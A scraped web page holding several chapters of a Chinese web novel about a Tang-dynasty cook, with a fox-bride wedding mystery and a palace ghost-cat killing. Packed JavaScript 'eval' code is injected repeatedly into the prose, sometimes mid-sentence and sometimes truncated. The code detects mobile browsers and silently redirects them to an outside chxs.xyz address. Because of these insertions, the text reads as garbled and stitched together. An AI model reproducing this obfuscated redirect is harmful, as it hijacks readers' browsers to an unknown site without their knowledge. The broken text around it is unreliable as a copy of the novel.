;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14426917|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高品质的食材。 东市果然各类奇珍异宝，安国人卖上一大盆子的粉色郁金香，富人买回家用来供佛或者香衫。 段知微最爱的花就是郁金香，想着手头还有些钱，便有些蠢蠢欲动，听闻一株花价钱一百钱，立刻委婉表示家中炉灶还炖着卤肉，然后逃也似的转身走了。 康国人在卖金银桃，大如鹅卵，其色金黄，离得很远都能闻到桃子浓郁的芳香。 还有各色玛瑙、唐三彩、陶瓷器皿。段知微看得开心，顺手给段大娘买了一瓶自儋州运来的椰子酒。 据说这酒不用酒曲。而是用椰子浆发酵成的，看上去晶莹剔透，喝起来醇美甘甜。 而后又买了一整袋的炒米糖准备带给蒲桃和阿盘，买完东西，架着驴车径自往连翘娘子给的地址去了。 这处宅子在升平门外，升平门离皇城较远，一水儿的破败草屋，连翘娘子的房舍确是其中一间二进二出的院落。 段知微随着下人的引导进了房舍，连翘娘子坐在廊下，朝着段知微笑着点点头，而后命丫鬟看茶。 丫鬟很快送上一壶龙井清茶并一份糕团。 段知微从喜盒里拿出那碟油润酥脆的喜饼：“这酥饼里治了红豆沙馅和莲子百合馅，红豆沙馅意为‘鸿运当头’，莲子百合则是‘百年好合、早生贵子’。” 而后从下层拿出拿碟子花生酥心糖：“此糖内馅酥脆，名为酥心糖，谐音舒心如意，很是吉利。” 段知微看向连翘问道：“不知这喜饼与喜糖是否合娘子心意？” 连翘娘子轻咬一下糖，又仔细看了看喜饼，看上去颇为满意：“甚好。” 她走进室内拿出一个荷包：“那就麻烦段娘子再来喜饼五十盒，喜糖五十盒。” “五十？”段知微惊了一下，而后忙点头应是。 段知微见她院落已经晒了许多花生、红枣，红纱帐旁边是一袭红底金绣的嫁衣。丫鬟们来来回回的穿梭奔忙，她很是识趣的站起来朝连翘道别，起身走了。 她惦念着那五十盒子喜饼喜糖，心想怕是要熬场大夜了，因此急急架着驴车往回赶。 刚返回升平门下，见一位老者提了个扁担准备去往东市送水，天气炎热，暑气蒸腾，段知微便花了两个铜子猛猛喝上了一碗。 老者很是疑惑的跟她搭话：“娘子，你跑升平门外作甚？这地方常年没有人，偶尔还有流匪隐藏在这里，很是危险，年轻娘子尽量不要来啊。” 段知微喝得正猛，闻言咳嗽了一阵子，她向后方指了指：“那门口一丛蒲草的宅子也没人住吗？” 老者摇摇头：“里头原先住着个什么官，犯了事发配岭南了，荒废几十年了。” 段知微只觉一阵凉意涌上了心头，低头解开连翘刚刚给的荷包，里头的铜钱倒是一点儿都没少。 这可如何是好，她在原地发了会怔，而后上了驴车，拐了个弯子一气儿上平康坊南曲儿去了。 15. 第十五章 《任氏传》的真相 平康坊夜间才是繁华场合，白日倒是颇为安静，南曲的巷子里绿树成荫，只有段知微一个人驾着驴车在走。 只不过走着走着，她莫名觉得后面有人在跟着，这感觉还颇有些强烈。只是猛然转过头去，又发现空无一人。 段知微的驴子年纪大了，实在是走不快了。她只好下车寻了棵树把驴子拴住，假意走了两步，而后拔腿狂奔。 坊间小路多而杂，段知微左拐右拐，不觉绕到了大路，她正想回头看一眼，突然被人拦下。 “什么人！”两个佩甲的武侯拦住了她，横眉怒目。 段知微跑了半日，正累得气喘，抬头一看，竟然已到了那家发生命案的玉春楼，难怪被武侯拦下。 民不与官斗，段知微见这两武侯看上去不太好相与，只好道：“妾身西平段氏......前来寻袁都尉。” 武侯面带了些难色，本朝民风开放，袁慎己在这值守的日子里，无论高门娘子或是教坊女子，皆是蠢蠢欲动，但只有段知微穿一身素色襦裙，头上仅一支木簪，看上去很穷，既不像大户娘子，也不像教坊娘子。 显然段知微自己也意识到这个问题，只好硬着头皮道：“妾身是袁都尉旧友，寻他有些事情.....” 她的姓氏帮助了她。西平段氏乃凉州武威郡第一大姓，袁慎己值守凉州，或许真是相识也说不定，武侯看她一眼，前去报秉袁慎己。 段知微在树下来回踱步了一会，很快袁慎己大步从房内出来，见真是她，微微颔首：“天气炎热，段娘子怎有空来这儿？” 她踌躇一会，还是把连翘娘子来在升平门外发生的怪事一说，本以为袁慎己会觉得她因为暑热整个人疯癫了，没想到他听得很是认真，沉默良久道：“若是段娘子不放心，两日后袁某便陪你走上一趟。” 两天后便要将五十份喜饼喜糖交付出去了。段知微本意是想让他派两位低阶武侯跟着查探一下，没想到这个人竟然要亲自出马，不觉松了口气，又瞄到他的书案上放一本《任氏传》。 袁慎己随着她的目光看去，而后解释道：“据韦家家奴供词，那位死在平康坊的韦郎君也曾去过升平门。” “原来是这样”段知微了然，怪不得这位四品大员竟然愿意亲自陪自己去，“倒是我自作多情了”她低头看着脚尖想。 段大娘对要熬个大夜来做上五十份喜饼很是抱怨了一大通，段知微道：“连翘娘子给了将近一贯钱的工钱，长姑若是不愿意做，明日我退回去便是。” 段大娘立时噤了声，而后小声嘀咕：“妾就是抱怨抱怨，又没说不做，你这孩子......” 蒲桃已经自觉地拿着个板凳坐好在那剥花生，阿盘蹲着生火，段知微无语望一回天，低头开始揉面。 忙碌了半日，还剩一半的量，不知有谁肚子咕噜噜响了一下，在这静谧的夜间很是明显。 那日做萝卜糕剩的腊肉还剩一些，段知微寻思，要不做一份腊肉饭当夜宵？ 这么想着，她泡上一把干香菇，又喊段大娘去库房买一把青菜。 段知微从柜子里拿出一个粗瓷砂锅来,细细刷一层油，倒入米和水，水就是刚刚泡香菇的水，因此有很浓的香菇味，再把锅放进炉灶上煮。 当米饭蒸的半熟时关火放入切片的腊肉和青菜，锅边淋油继续煮。中途打入一个鸡蛋，倒入调好的酱料再焖一下。 不多时浓厚腊肉香弥漫了整个房间。 段知微拿个勺子拨弄了一下锅，发现底下的锅巴焦黄脆脆很是完美。便满意的盛出来几碗，给大家分了。 米饭粒粒分明，吸收了香菇和腊肉的香气和油脂，底下的锅巴香脆可口。盖在上面的青菜鲜艳，腊肉紧实有嚼劲，再拌上特制的酱料。 令人食指大动，每个人都默不作声的埋头狂吃，段知微又适时画个饼：“做完这个，差不多向招福寺借的香火钱也要有了，我们就可以搬到宽敞的宣阳坊了。” 段大娘第一个放下了碗，像打鸡血一样毅然决然站了起来：“妾去看看炉火旺不旺。” 段知微：“......” 第二日，一大箱子喜饼喜糖被段知微雇了两个闲汉送到升平门外。段知微自己则在门口的老槐树底下等袁慎己。 她等的甚是无聊，抬头摸摸驴的脑袋，又抬头望一回天，然后发现，天色阴沉了下来，风起刮得老槐树的叶子扑簌簌的响，想来是要下雨了。 这样的天气，怪不得袁慎己迟到了，只怕是不会来了，她这么想着，竟觉有些失落，叹口气转身想回食肆。 马蹄声自远及近响起，段知微只看到袁慎己骑着马疾行而来，她跑过去刚准备要说什么，袁慎己稍微弯了下腰，伸一只胳膊搂住段知微的腰，把她提上了马。 段知微想说的话全部卡在了喉咙里，她坐在马前头，相当于被袁慎己半拥在怀里，她微微仰头，只能看到袁慎己坚毅的下巴和乌黑的鬓发。 袁慎己骑了一半，颇为歉意的低头看她：“抱歉，官署有事，来晚了。” 而后又沉声解释到如果不骑马过去，怕是来不及，希望段娘子不要介意。 段知微颇觉有些脸热，强自镇静的道一句无事。 不就共乘一骑吗，多大点事。 连翘娘子的府邸门口已经挂上了好几个大红灯笼，在阴暗天色里随风四处飘摇。 随着门吱呀一声，两个戴着奇特面具的人提着大红灯笼在前面引路，四个轿夫抬着顶红色轿子从宅子里走了出来，似乎是往城外走去。 段知微跟袁慎己赶紧跟上，轿子走得十分之慢，跟踪倒是不费难度。 到了午时，阳光堪堪从云层里冒出了头，空气里却飘起了小雨。 林光虚霁晓,山翠薄晴烟。雨水在阳光映照下晶莹剔透很是漂亮。 段知微很是好奇地看一眼天上的太阳，又低头望望不断溅起水花的小洼塘，低声道：“这长安怎么突然下起了太阳雨了。” 袁慎己脸色不是很好，只盯着前面仍在缓缓行进的轿子道：“长安有民谣曰：‘天晴下雨，狐狸嫁女’。” 段知微霎时噤了声，狐狸嫁女......她又想起了那个哀婉凄美的故事《任氏传》。 森林里因为下雨开始大雾弥漫，只能见前面两个大红灯笼隐隐发着诡异的红光。 突然轿子停了下来，为首的提灯人尖声一句：“新嫁娘已接到。” 大雾突然散开，平地升起一座石拱门，轿夫抬着轿子进了门中，大雾又开始弥漫开来。 “这就完了吗?”段知微很是震惊看向消失的石门和轿子，看向袁慎己，岂料他一下把段知微揽到身后，沉身道：“有人来了。” 一位身着华福的老者出来，向他们叉手为礼道：“今日小儿娶妻，不想尽触犯了贵人，两位若是不嫌弃，便来饮一杯酒吧。” 段知微和袁慎己互看一眼，只得跟着老者走了。 在浓烈的大雾里走了一段路，一套三进三处的大宅子出现在面前，段知微被引着往长廊里走，只觉这宅子廊腰缦回，檐牙高啄，甚是气派。 堂屋里已不少宾客在此，二人被引到角落一个食案坐下，段知微低头见地面铺的茵褥绣着大朵金线牡丹，可知这户人家奢华。 侍女鱼贯而入，冷蟾儿羹、糖蟹、鹅炙、单笼金乳酥流水的往宴席上送，段知微来到长安，头回吃这么丰富美味的食物，吃得不亦乐乎，袁慎己抱臂坐在一旁，没动筷子，也不饮酒。 很快新郎新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14426918|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘牵着大红绸到了堂内，正欲开始行礼，没想到突然被一声怒喝打断。 段知微定睛一看，竟然是那日在食肆意图贿赂自己从而拿到连翘地址的刘真中。 “他怎么在这儿？”段知微皱眉看他，而后又恍然大悟：“我说怎么出门总觉得有人在跟着我。” 见袁慎己并不惊讶，段知微问：“你知道他在跟着我们？” 袁慎己微一颔首。他于河西值守，夜间都需在狂风嘶鸣下探听敌军马蹄，一个文弱书生紧跟在后面，自然听得出来。 刘真中已经脸色苍白，状若癫狂：“连翘，你已为我妻，怎可嫁给此等鬼怪？” 周围的宾客怒目圆瞪：“哪儿来的凡人在胡公府邸作祟，给我们吃掉算了。” 刘真中畏惧瑟缩了一下，仍然对盖着红盖头的连翘满脸悲伤的说道：“我欲与君相知，长命无绝衰，你忘你我间的海誓山盟，你忘了我为你而写的悲恋哀歌《任氏传》了吗？” “《任氏传》是他写的？”段知微一惊，又觉有些道理，主角郑六、倒过来便是刘真中，好像并无不对。 连翘默了一默，终于掀开了自己的盖头，她本是温柔的长相，此刻脸色阴云密布，因为愤恨而扭曲变了形：“你跟我提《任氏传》？” 连翘扔下盖头道：“各位好心的宾客啊，《任氏传》凄婉风流，传遍长安，可那故事里全是谎言，妾身今日便讲一讲，真实的《任氏传》。” 她往前走一步：“妾身西河任氏，五岁没入平康坊玉春楼，这刘真中每日前来，山盟海誓，还道替我赎身，我信了。” 她愤怒看向刘真中：“一日，他的表兄韦氏到了我们的住所，对妾进行了迫害，妾身本欲报官，这刘真中第二日回家，竟劝妾身息事宁人。” “你收了韦氏的钱，与他串通一气是吗？” “你后来嫌弃妾失了清白，在去上任的路上把妾推下了悬崖是吗？” “你成了名震长安的《任氏传》作者，名声与钱财全有了，为了掩盖真相，于夜色里勒死了韦家郎君还推给狐精是吗？” 刘真中惊恐看她，像一只被勒住喉咙的公鸡。 连翘道：“妾在悬崖下被狐精所救，你已与高门娘子缔结姻亲，恐事情败露，来杀我灭口的对吧？” 两个下人走了过来，压住他从他怀里拿出一把匕首。 四周的宾客又在大喊：“此等秽物，不如妖怪，不妨吃了他吧！” 袁慎己沉默半日站了出来，厅堂一片寂静，他向连翘行了个礼：“在下汝南袁氏袁慎己，于金吾卫任职，此人违反宵禁、杀死韦氏，按律例，当判绞刑，请娘子将此人交给我，我要将其带去大理寺。” 连翘犹豫了一下，段知微忙劝道：“将他带走，全长安都会知道风流缠绵的《任氏传》是个巨大的谎言，此人自此将身败名裂。” 刘真中愤怒大叫：“不！” “这样也好”连翘见他如此反应，满意点点头：“那便劳烦两位了。”而后再次将盖头拉下。 段知微只觉刮起一阵迷乱的风让人睁不开眼睛，婚宴上的新娘新郎并各色宾客全都化成了泡影急速消散。 待她再睁开眼睛，森林间的大雾业已消散，雨云也飘散，一道飞虹架空在了远处茂盛山群之上。 段知微深吸一口气，空气带着泥土的芬芳和草木的芬芳，她低头一看，落叶和枯枝间竟然有一个绘着黄色连翘花的荷包。 “好漂亮的手镯”她惊叹道。袁慎己将已经晕过去的刘真中捆好，而后也看向那个荷包：“应当是任氏的谢礼，你收着吧。” “回头路过东市把这个当掉，下月就有钱帮到宣阳坊了。”她的嗓音透着活力和无限希望，逐渐消失在了山峦间。 16. 第十六章 食肆搬迁升级 “能不能再稍稍便宜一点？”段知微颇为小心地看向牙人。 “哎呦段娘子，马上就是三年一次的科考，整个大唐的考生都挤在这宣阳坊，房租是蹭蹭蹭地涨啊，实在是降不了。”牙人赔笑道。 段知微又在这间商肆看了两圈，后院宽绰，有井水可取用，院中央一棵金桂树。 若是金秋十月，桂花纷扬飘落，段大娘可以铺个茵褥躺在那饮桂花酒，小蒲桃可以坐那吃糖糕，阿盘可以静静欣赏桂花飘落。 而且还能做桂花酒酿软酪、桂花白糖糕、桂花红豆元宵......思及此，段知微咬咬牙道：“就这处吧。” 十贯钱付一年的房租，段知微显然没攒到那么多，只有去找寺庙借长生钱。许多寺庙获得了大量资金，为了能“以钱生钱”，就琢磨了这么个借钱方式，相当于现在的银行。 不过段知微拿了这个长生钱不仅不能长生，每个月还要按时给利息，牙都咬碎了，狠狠一跺脚，从袖子里掏出招福寺的长生库贴拿给了牙人。 牙人接过，拉了一拉讪笑着说：“段娘子，您倒是放手啊。” 段知微悻悻放了手，牙人当即落了契一溜烟的跑了。 段知微拿到了租契，扭头回了原来的房子。虽然通义坊的那一套又小又破、没有太阳、需要两个人挤一间，但是承载了许多温暖的回忆，大家一定都有些不舍...... 才怪！ 段知微回了通义坊，发现所以东西全被打包好了，段大娘换了最贵的一套绯红花树对羊半臂襦裙，头上顶着巨大一朵粗纱牡丹，逢人就逮着人聊天，再三句话引导到：“是啊，今儿日头是不错，对了，你怎么知道妾马上要搬到宣阳坊了。” 永远淡然的阿盘脸上也带了些许微笑，似乎很庆幸不用再忍受段大娘的打呼声。蒲桃更是眨巴大眼睛扑过来环住段知微的腰：“娘子，我们准备好了，什么时候可以走啊。” 段知微：“......” 通义坊的铺子已经委托牙人挂了牌亟待出租，墙上用白麻纸贴上“本店搬迁至宣阳坊第二街。” 这回段知微大方地赁了两只健驴，把为数不多的行李搬上驴车，拜别了通义坊的邻居，一行人浩浩荡荡的往宣阳坊行进了。 宣阳坊不愧是科考学子聚集的地方，街道宽广，货摊林立，市井繁华，很多书生在街边摆些家书摊子、字画摊子来弥补旅舍的花销。 “果然是个气派的坊地。”段大娘笑得嘴角都没放下来过。段知微则盯上了一处帮写家书的摊子，觉得那书生挂在竹竿上的两幅字写得甚好。 一幅是李太白的《将进酒》，另一幅则是岑参的《白雪歌送武判官归京》，笔锋豪迈，字写得磅礴大气。 段知微也想在食肆的夯土墙上来一幅诗词，于是下了驴车。 与字不同，那书生长得文弱，白肤红唇，竟比女人还要秀气几分，他正低头全神贯注的给一位棕发蓝眼的胡女写家书，段知微站到后面排队。 那胡女口述了半日，竟越说越生气，嗓门也越来越大：“一次又一次，我寄信给你，却不曾从你那收到任何一封回信!我在长安不幸地过了三年，这都是因为你！” 周围人都看了过来，书生一边写着一边把头越埋越低。 段知微也尴尬的低头看自己的脚尖，她想起在玉门关曾出土过一封由栗特妇人米薇撰写的家书，被历史学家称为“一千多年前的绝望主妇。” 她还记得那里面有一句很出名的.......什么来着？ ““我宁愿嫁给猪狗都不嫁给你！”那栗特胡女咆哮道。 啊对对对，就是这句。段知微疯狂点头到一半戛然而止。 胡女米薇咆哮完以后，很是爽快的给了书生五个铜子，垮上篮子走了。 段知微吃惊地盯着胡女潇洒远去的后背，这便是传说中“一千年前的绝望主妇”吗，竟然被自己给遇上了。 书生在后面小声问：“这位娘子，可是需要写家书？” 段知微还在盯着胡女，被段大娘用蒲扇打了下头：“不是要写诗吗，天这么热，快点。” 段知微揉了揉脑袋，看向书生：“对，妾要写一对诗句，就写......” 她沉默了良久，脑海里各种诗词在不停的打架，最后她选了大宋第一美食家苏东坡的诗句。 段知微生得清秀，皮肤跟细磁一样白，今日穿了天蓝色襦裙，往那袅袅婷婷一站，竟也颇有两分才女之姿。 书生颇为期待地看她，却只见她手一挥，很是气派地说道：“就写‘早晨起来打两碗，饱得自家君莫管。’” 出自苏东坡的《猪肉颂》，意为：我早上起来打上两碗煨炖好的猪肉，自己吃饱了您莫要理会。 书生本期待她能念诵出什么清新飘逸、钟灵毓秀的诗句，此刻沉默了半晌，还是埋头为她写好了这幅字。 段知微很是欣喜的接过，书生写得很好，字体遒劲，很有些气魄，适合放在厅堂里。能让人一眼注意到，她低头掏钱，不忘给自家食肆打个宣传：“妾在宣阳坊第二街开了一家食肆，郎君若是愿意来，给郎君优惠的价格。” 书生道了个谢。 一行人好容易来到新家，眼见着晌午已过，蒲桃拉拉她的衣角，眼巴巴看她一眼道：“娘子，我饿了。” 段知微翻了翻现有的食材，先选取嫩肉里脊用刀取筋锤烂，加入葱末秋油和成馅；再拿出一坛子水磨粉加温水慢慢和成汤团。 阿盘已经烧一锅滚水，段知微把生汤团倒了进去，等了片刻，汤团浮到了水面上。 段知微盛了四碗出来，白胖圆润的汤团在碗里看上去十分的可爱。 小蒲桃等不及吹凉，迫不及待的咬上一口，软糯的外皮细腻而有弹性，入口即化。里头的肉馅鲜嫩多汁、肉香四溢，肉的醇厚和外皮的软糯在唇舌间交织在一起，别有一番风味。 “太好吃了，娘子！”小蒲桃嘴里还塞着汤团，囫囵着说。 “那吃饱以后可要好好干活哦。” 小蒲桃慌忙点点头。 吃饱喝足以后，就要先收拾新家了，这房屋闲置良久，里头遍布着灰尘，房檐上还挂着些蜘蛛丝。 段大娘不免叮嘱：“这是喜蛛，小心别弄死了，给他放生了便罢了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小蒲桃用力点点头。 旁边的旅舍里已经挤满了各色书生，各个拿本书在念“之乎者也”。经营旅舍的是一对儿年轻的夫妇，丈夫不爱说话，妻子四喜儿倒是很豪爽，见到段知微也热情的打招呼。 段知微租下这个商肆时也考虑到了旁边就是旅舍，若用晚食的客人过了宵禁，便可到旁边旅舍睡上一晚。 因此段知微试探着找四喜儿寻求合作：“若光顾了食肆的客人到了旅舍，亦或是旅舍的客人介绍到我那儿用饭，可否互相给些优惠？” 四喜儿开店多年，一听这互惠共赢的好主意，立时就同意了。 段知微很高兴，向四喜儿递上了那坛子蜜桃片。 却见四喜儿的丈夫拿着个鸡毛掸子，从楼上赶下来一个书生 书生边擦眼泪边问：“可否通融二日？” 四喜儿丈夫摆摆手：“没钱就走，赶紧走，本店概不赊账。” 段知微好奇望去，竟然是上午摆着家书摊子那位白净书生。 17. 第十七章 被偷走的烤鱼 段知微见书生哭哭啼啼拎着个包袱，不禁问他：“这位郎君，晌午摆书摊子不是赚了些钱吗？” 赚了自己十文钱呢。 书生也认出了段知微，擦擦眼泪道：“某只是转身的功夫，赚的铜钱全被偷了。” 段知微默了一默，蒲桃一眼看出自家娘子同情心又开始泛滥，忙道：“娘子，后院没有多余的房间了。” 段知微小声对蒲桃道：“我只是需要个账房先生。” 她许多生僻字写得十分艰难，本朝计价法也是复杂难学，正需一个便宜的账房先生，蒲桃脑子转得也很快：“那把库房收拾收拾，空出个床榻位置来。” 库房堆满了腌渍的鱼鲊、发酵的酱豆腐并夏月风干腊肉，若是拾掇一下，恐怕勉强也能住人。 段知微便跟他商议了一下，岂料书生很快就擦干眼泪同意了，他叉手为礼朝着段知微深深一鞠躬：“中山甄氏甄回，感念段娘子大恩，若没有娘子，甄某就要睡桥洞下了。” 还要四处躲避金吾卫的夜间巡查。 说着，怕又担心段知微反悔，又加了一句：“某曾在临安钱塘郡药商盛家做过两年账房，算账之类的最为在行，只是盛家后来破败家道中落了，某的差事才没有了。” 段知微：“......”这人听上去不太吉利的样子。 这边段知微把甄回带回了食肆，让阿盘和蒲桃去收拾库房，自己则搬出了一堆竹片子，而后给他一方墨砚和一支毛笔。 自己则搬了个小胡床坐到一边：“写吧。” 甄回小心翼翼问：“不知娘子想写些什么。” 段知微说：“我报你写，新丰酒、绿蚁酒、夹肉胡饼、槐叶冷淘、荷叶香粥......” 写完一长串菜单，段知微用一根绳把竹片们穿到了一起，再挂到土墙上，这样食客能一眼看出来店里有些什么吃食。 酒肆的博士进门，朝着段娘子行一礼：“掌柜的，您要的一坛子新丰酒一坛子绿蚁酒已送到了。” 段知微忙从胡床上起来，指挥酒博士运送两大坛子酒进火房。 新丰美酒斗十千，价格稍稍高昂，卖给家境颇为优越的学子；绿蚁酒呈浅绿色，浑浊不清，只略有酒味儿，价格便宜，十个子儿一碗，适合贫寒的学子。 段知微送酒博士出门，见他牛车上还有一筐活蹦乱跳的河鱼，看着很是新鲜，酒博士见她如此，很是灵活的说：“段掌柜是我家酒肆的常客了，这鱼您若是喜欢，拿两条走便是。” 段知微两世都开饭馆，哪能听不懂人家的言外之意，只低头掏出荷包：“怎好白拿您家的鱼，这框鱼看着新鲜，妾买了。” 酒博士接过钱喜笑颜开：“段掌柜不愧开食肆，真是慧眼如炬，这可是刚从渭河捞上来的，不仅新鲜还很肥，最适合做酿鱼了。”说完再行一礼，驾着车走了。 这边段知微喊来阿盘，先拿起一条，去头尾，划开背部，用四钱盐里外抹匀，再把茴香、粗盐等香料炒热以后擦入鱼腮及腹中，用麻皮麻纸包好挂在当风处。 这便是风鱼法，放一年都不会坏。 剩下的鱼段知微决定今晚的菜单加一份烤鱼。 一大块竹板子放到了食肆门口，上头写着“本食肆新开，来者均送一壶绿蚁酒。” 鱼肉都已经被阿盘处理好，整整齐齐码在粗瓷盆上，段知微倒入了葱姜水和一碗白酒去鱼腥气。 为使得鱼身焦脆鱼肉紧实，要先把鱼擦干水份下锅炸至两面金黄。 最重要的便是烤鱼的灵魂酱汁了，各色香料下锅油炸捞出，再放入豆豉酱、花椒、葱蒜和一勺骨汤下去熬酱汁。 烤鱼底下平铺一些切成条状的土豆、豆腐皮和菌菇，放上炸好的鱼，浇下调料汁，放进门口的胡饼炉子里烤。 蒲桃给炉子底下加了两块柴，火烧得更旺，炉子里的烤鱼汤汁开始咕噜噜急速冒着泡，那些泡噼噼啪啪爆裂开来，一股浓郁的香气扑到了街巷上。 暮色四合，宣阳坊许多书生出来觅食，闻见香味纷纷开始寻找来源，段知微站到门口招呼客人：“今日本食肆限定烤鱼啊，刚从渭河打捞上来，甚是新鲜。” “郎君来食肆坐坐？今日进门的食客都送上一壶绿蚁酒。”她突然向两位正站在一角观望的两位书生道。 那两位书生猝不及防被点了名，走也不是留也不是，只好硬着头皮进了食肆。 一盘子冒着热气和浓郁香味的烤鱼上了桌，鱼皮烤得金黄酥脆，微微卷起来，看上去很是焦香诱人。 书生执箸夹了一块，放入口中，那鲜嫩紧实的鱼肉口感瞬间在舌尖绽放，调料也是麻辣鲜香。底下的配菜饱吸了汤汁，土豆软糯香甜，菌菇滑爽，豆皮鲜美劲道。 段知微适时打了一壶绿蚁酒送来，书生一口酒一口烤鱼，吃得甚是舒爽。 很快整个食肆便坐满了人，每个食案上都放上一盘烤鱼。 袁慎己便在这时出现了门口，段知微看向他倒也不意外，只道一句：“都尉来了，早空着一桌等着了。” 苏莯跟着他后面，朝着别人桌上的烤鱼看了好几眼，咽了咽口水。 当下段知微要给他们来上一壶价贵的新丰酒，被袁慎己挡住：“不必，袁某今夜在大明宫文昌门当值，不宜饮酒。” 苏莯本想喝上一杯，听闻顶头上司这么说了，也只好放弃，讪笑着来了一句：“对对，今日不饮酒，不饮酒。” 一盘子鲜香麻辣的烤鱼上了桌，想到袁慎己今夜要当值，段知微给他们送上了两碗黍饭道：“这烤鱼配饭也好。” 袁慎己环顾一下四周，脚下是绿竹制成的茵褥，看着甚是清凉，墙上四角悬着彩绸花篮灯笼，食案排布规整，墙角的粗瓷瓶里供上了数朵娇艳欲滴的荷花。 墙上一边是竹制的各色菜单，另一边写上一幅诗句“早晨起来打两碗，饱得自家君莫管”。 这幅字虽不够雅致，倒是颇有段家娘子风格，他看着在火房里不断忙碌的段知微，嘴角不经意露出一个笑。 吃完第一份烤鱼的书生很是满意的抹了抹嘴巴走了，出门遇到同窗，先是攀谈几句，而后便赞美了新开的段家食肆，说那儿出的烤鱼十分的鲜美，是之前从未尝过的风味。 得到前一波食客的认可，后一波闻风就来了段家食肆，食案位置有限，门口竟然开始大排长龙。大都是准备参加科考的书生。 段知微只好紧急裁剪了些白麻纸，给他们发号，让蒲桃拿个小胡床坐在门口专门盯着喊号，毕竟若是次序乱了引得排队顾客的不满，对食肆的口碑可不好。 人仰马翻了一日，好容易挨到快宵禁了，食客们终于陆续散了。 段大娘因为忙碌，只好又脱下了她绯色襦裙，换了麻布衣裳，直嚷着腰疼。 段知微很机智的留下了最后一烤盘的烤鱼留给自己，她把烤鱼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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丢这点东西就去官署报官，想必定是要被坊正打出来的，只好罢了。 段知微一口气出不来，只好把大门一开，骂道：“好没品的小偷，那蟹生明明更好吃好吗？” 宵禁过后，液池早早掌了灯，宫女红药拎着一盏红纱宫灯在重重花苑间穿行，她侍奉的王婕妤今夜突然想起来要饮一碗杏仁酪，红药只能夜里起身去御膳房。 殿边盘龙吐珠的水钟在静谧的夜间往地下不停滴水，提醒此刻已是子夜时分，红药拎着的烛火被夜风吹得在纱面上胆战心惊的跳动，让人感觉到一丝微妙的不详。 她走至液池深处，突然听见有人在说话，她略微犹豫，又想着自己毕竟带着令牌应当不妨事，于是朝声音来源探了探头。 一身着宫服的老媪拿着一碗胡麻香粥，脸色发青的用汤勺轻敲碗边，边敲边念道：“猫鬼可来，无住宫中......” 红药见那老媪目光呆滞，整个人像被什么东西拉扯着，嘴里又接连着喊猫鬼，害怕的捂着嘴巴就往回跑。 她沿着红色宫墙的墙角一路跑，她脑子转得快，想到这里离文昌门最近，那里时刻都有轮值的金吾卫值守。 守卫们平日配着寒刀，凶神恶煞，宫女们并不敢过去跟他们搭话，此刻红药却想赶紧跑到文昌门，告知液池有老媪在行巫蛊之术。 却突然听到一阵诡异的叫声，她不敢停下脚步，只丢下红纱宫灯，不顾礼仪开始狂奔。 很快就要到文昌门了，她给自己打气。 一个黑影从花树丛里窜了出来，锋利的爪子在地上发出刺耳的声响，红药只记得一双在暗夜散发诡异绿光的眼睛。 那是她生前看到的最后一样东西了。 18. 第十八章 鲜美的鱼汤馄饨 夏夜五更二点，太极宫城楼上第一声报晓敲响，急速驶过的马蹄声揭开了一片天光。 段知微在后院用杨柳枝刷了牙，井水抹把脸，囫囵吃了块胡饼，开始准备今日的朝食。 阿盘起得比段知微还早，给食肆外的风炉生上了火。 段知微打个哈欠问：“怎么起这么早？” 阿盘低头理着柴火：“昨夜听见猫叫，起身一看一只白猫对着月亮张嘴在嘶叫，声音实在是难听，妾便有些睡不着。” 段知微道：“那你再去补补觉。”被阿盘果断拒绝。 昨日治风鱼还剩下一木盆鱼头鱼骨，用大葱水泡了半个时辰去腥。 段知微架上铁锅，猪油煸大葱、姜条出香，把鱼头鱼骨煎到焦黄，一骨碌倒进风炉加水小火缓慢熬煮。 然后搬个小胡床坐到食肆门口，开始慢悠悠的跟阿盘一起包鱼肉馄饨。 大青鱼和猪肉各劈一半，搅馅的时候打上个鸡蛋，活些葱姜水，再剁上些赤芹碎提鲜。 用单支筷子挑上些肉馅往薄薄的馄饨皮上一抹，右手顺势一捏，很快一砧板的元宝馄饨排列开来，风炉里的鱼汤应当也熬的差不多了，一股白雾热气伴随浓郁的鲜香从炉子里冒了出来。 眼下天光乍亮，路边也开始有行人在走动，隔壁旅舍通宵彻读的学子们、驾着骆驼行进的胡商们，都纷纷望向散发香味的风炉，然后吸一口喷香的空气解解馋。 “各位郎君，新鲜的鱼汤馄饨，来一碗吗？” 学子们咽了咽口水。 一碗洒了碧绿葱花的鱼汤馄饨摆上食案，黄亮的鱼汤里，粉色鼓鼓的馄饨挤在一起，顾不上滚烫的温度，夹上一块，馅料的美味与鱼汤的鲜美交融在一起，食客们在这夏日的清晨吃的大汗淋漓。 